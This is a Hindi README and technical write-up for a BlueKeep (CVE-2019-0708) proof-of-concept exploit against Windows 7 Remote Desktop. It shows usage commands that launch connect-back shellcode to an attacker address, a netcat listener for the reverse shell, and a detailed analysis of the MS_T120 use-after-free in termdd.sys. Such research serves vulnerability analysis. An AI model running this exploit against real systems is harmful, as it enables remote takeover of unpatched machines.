
CVE-2019-0708 (BlueKeep) प्रूफ ऑफ कॉन्सेप्ट जो Windows7 पर प्री-ऑथ RCE की अनुमति देता है
यह रिपॉजिटरी विंडोज रिमोट डेस्कटॉप सर्विसेज (RDS) में रिमोट कोड एक्जीक्यूशन बग को प्रदर्शित करती है।
यहाँ BlueKeep भेद्यता के बारे में एक POC कोड और तकनीकी रिपोर्ट है, जिसे हमने पहले विकसित किया था।
नोट: हमारा लक्ष्य विश्लेषकों को गंभीर भेद्यताओं के बारे में बेहतर समझ हासिल करने में मदद करना है।
हमारा एक्सप्लॉइट कोड Python 3 में लिखा गया है, और PyRDP लाइब्रेरी पर निर्भर करता है। कृपया PyRDP की इंस्टॉलेशन गाइड का पालन करते हुए उन्हें सेट अप करें।
वर्तमान में हमारा एक्सप्लॉइट विंडोज 7 SP 1(6.1.7601) x64 पर Virtual Box में लक्षित और परीक्षण किया गया है।
यदि आपके कंप्यूटर का IP पता 192.168.56.1 है और आप example.com:1234 पर RDP सर्वर को लक्षित करते हैं, तो टाइप करें
$ python exploit.py example.com -rp 1234 192.168.56.1
यदि स्क्रिप्ट सर्वर का सफलतापूर्वक शोषण करती है, तो एक कनेक्ट-बैक शेलकोड सर्वर से वापस 192.168.56.1:4444 पर एक TCP कनेक्शन शुरू करता है। इसलिए, उदाहरण के लिए आपको netcat के साथ कनेक्शन की प्रतीक्षा करनी चाहिए:
$ nc -v -l 4444
यदि आप उस पोर्ट नंबर को बदलना चाहते हैं जिससे सर्वर वापस कनेक्ट होता है, तो -bp विकल्प का उपयोग करें:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
मई 2019 में, माइक्रोसॉफ्ट ने रिमोट डेस्कटॉप सर्विसेज (पूर्व में टर्मिनल सर्विसेज के रूप में जाना जाता था) में एक महत्वपूर्ण रिमोट कोड एक्जीक्यूशन भेद्यता CVE-2019-0708 का खुलासा किया। यह भेद्यता प्री-प्रमाणीकरण है - जिसका अर्थ है कि यह भेद्यता वर्मेबल है, जिसमें व्यापक व्यवधान पैदा करने की क्षमता है। हमलावर लक्षित सर्वर पर तैयार किए गए रिमोट डेस्कटॉप प्रोटोकॉल (RDP) संदेश भेजकर और प्रशासनिक विशेषाधिकारों के साथ मनमाना कोड निष्पादन प्राप्त करके इस भेद्यता का शोषण कर सकता है।
माइक्रोसॉफ्ट रिमोट डेस्कटॉप सर्विसेज उपयोगकर्ता को दूरस्थ रूप से खुले इंटरैक्टिव विंडोज सत्र प्रदान करती है। यह पोर्ट 3389/TCP पर रिमोट डेस्कटॉप प्रोटोकॉल (RDP) का उपयोग करके उपयोगकर्ता क्लाइंट के साथ संवाद करके उपयोगकर्ता के विंडोज डेस्कटॉप को प्रस्तुत करता है।
RDP प्रोटोकॉल में वर्चुअल चैनल नामक सॉफ्टवेयर एक्सटेंशन के माध्यम से बढ़ाया जाने की क्षमता है। कार्यात्मक संवर्द्धन के उदाहरणों में शामिल हो सकते हैं: विशेष प्रकार के हार्डवेयर, ऑडियो, या मुख्य कार्यक्षमता में अन्य जोड़ के लिए समर्थन।
इन चैनलों में मानक माइक्रोसॉफ्ट द्वारा प्रदान किए गए चैनल शामिल हैं जैसे "rdpdr" (रीडायरेक्शन), "rdpsnd"(ध्वनि), "cliprdr" (क्लिपबोर्ड शेयरिंग) आदि। उपयोगकर्ता अन्य चैनलों का समर्थन करने के लिए RDP API का उपयोग करके मॉड्यूल लिख सकते हैं। उपरोक्त चैनलों के अलावा, माइक्रोसॉफ्ट डिफ़ॉल्ट रूप से दो चैनल बनाता है: MS_T120 (RDP के लिए ही प्रयुक्त) और CTXTW (Citrix ICA में प्रयुक्त)।
भेद्यता "MCS Connect Initial and GCC Create" अनुरोध के माध्यम से MS_T120 के वर्चुअल चैनल बाइंडिंग प्रक्रिया से संबंधित है। अधिक पृष्ठभूमि जानकारी ZDI से उपलब्ध है। जैसा कि ZDI लेख में उल्लेख किया गया है, क्लाइंट द्वारा अनुरोधित सभी वर्चुअल चैनल termdd!IcaCreateChannel() का उपयोग करके बनाए जाते हैं। फिर इन चैनल संरचनाओं के पॉइंटर्स एक तालिका में संग्रहीत किए जाते हैं, जिसे हम ChannelPointerTable कहेंगे। जब RDP क्लाइंट के साथ कनेक्शन स्थापित होता है, तो MS_T120 सहित सभी स्थैतिक वर्चुअल चैनल विंडोज RDP सर्वर द्वारा आंतरिक रूप से आरंभ किए जाते हैं और ChannelPointerTable द्वारा इंगित किए जाते हैं।
MS_T120 और CTXTW बनाने का क्वेरी rdpcore!WDLIB_IcaVirtualQueryBindings() द्वारा जारी किया जाता है।
चित्र .1: MS_T120 और CTXTW बनाने के लिए क्वेरी का निर्माण
क्वेरी को termdd!IcaBindVirtualChannels() पर पास करने के बाद, termdd!IcaAllocateChannel() में एक वर्चुअल चैनल संरचना बनाई जाती है और ChannelPointerTable में पंजीकृत की जाती है।
चित्र .2: वर्चुअल चैनल संरचना बनाना और पंजीकृत करना
फ़ंक्शन रूटीन termdd!IcaBindChannel() ChannelPointerTable में एक वर्चुअल चैनल संरचना को पंजीकृत करने के लिए जिम्मेदार है।

यहाँ विंडोज 7 x64 पर स्टैक ट्रेस है, जब termdd!IcaBindChannel() को पहले तर्क "MS_T120" और तीसरे तर्क 0x1f के साथ कॉल किया जाता है।
चित्र .3: प्रारंभिक अनुरोध के दौरान MS_T1209 को स्लॉट 0x1f से बांधा गया है
फिर ChannelPointerTable इस प्रकार दिखता है। ध्यान दें कि MS_T120 हमेशा स्लॉट 0x1F में मौजूद होता है।
चित्र .4: प्रारंभिक अनुरोध के दौरान ChannelPointerTable
विंडोज RDP कर्नेल ड्राइवर, termdd.sys में एक use-after-free भेद्यता मौजूद है।
समस्या यह है कि जब क्लाइंट "MCS Connect Initial and GCC Create" के दौरान नाम MS_T120\x00 के साथ चैनल निर्दिष्ट करता है, तो termdd!IcaCreateChannel() termdd!IcaFindChannelByName() को कॉल करता है और स्लॉट 0x1F में मौजूदा MS_T120 चैनल संरचना लौटाता है। फिर इस चैनल संरचना को एक नई वर्चुअल चैनल प्रविष्टि माना जाता है और "MCS Attach User Request" के दौरान अन्य स्लॉट (इस उदाहरण में, स्लॉट 2) में संग्रहीत किया जाता है।
यहाँ विंडोज 7 x64 पर स्टैक ट्रेस है, जब termdd!IcaBindChannel() को पहले तर्क "MS_T120" और तीसरे तर्क 0x2 के साथ कॉल किया जाता है।
चित्र .5: अटैच अनुरोध के दौरान MS_T1209 को स्लॉट 0x2 से भी बांधा गया है
दूसरे शब्दों में, MS_T120 चैनल संरचना दो स्लॉट 0x1F और 0x2 द्वारा इंगित की जाती है।
चित्र .6: अटैच अनुरोध के दौरान ChannelPointerTable
यदि कोई हमलावर फिर MS_T120 चैनल में अमान्य डेटा भेजता है, तो termdd.sys termdd!IcaCloseChannel() का उपयोग करके चैनल को बंद कर देता है और स्लॉट पर पॉइंटर को साफ़ कर देता है। (चल रहे उदाहरण में स्लॉट 2) हालाँकि, स्लॉट 0x1F में वही पॉइंटर साफ़ नहीं होता है। बाद में, जब कनेक्शन समाप्त होता है, तो RDPWD!HandleDisconnectProviderUlt() लागू होता है, जो बदले में termdd!IcaChannelInputInternal() को कॉल करता है और स्लॉट 0x1F पर पॉइंटर का उपयोग करके मुक्त की गई MS_T1209 चैनल संरचना को फिर से नष्ट करने का प्रयास करता है। चैनल संरचना के अंदर vtable पॉइंटर द्वारा एक विनाश प्रक्रिया लागू की जाती है। यह use-after-free स्थिति की ओर ले जाता है।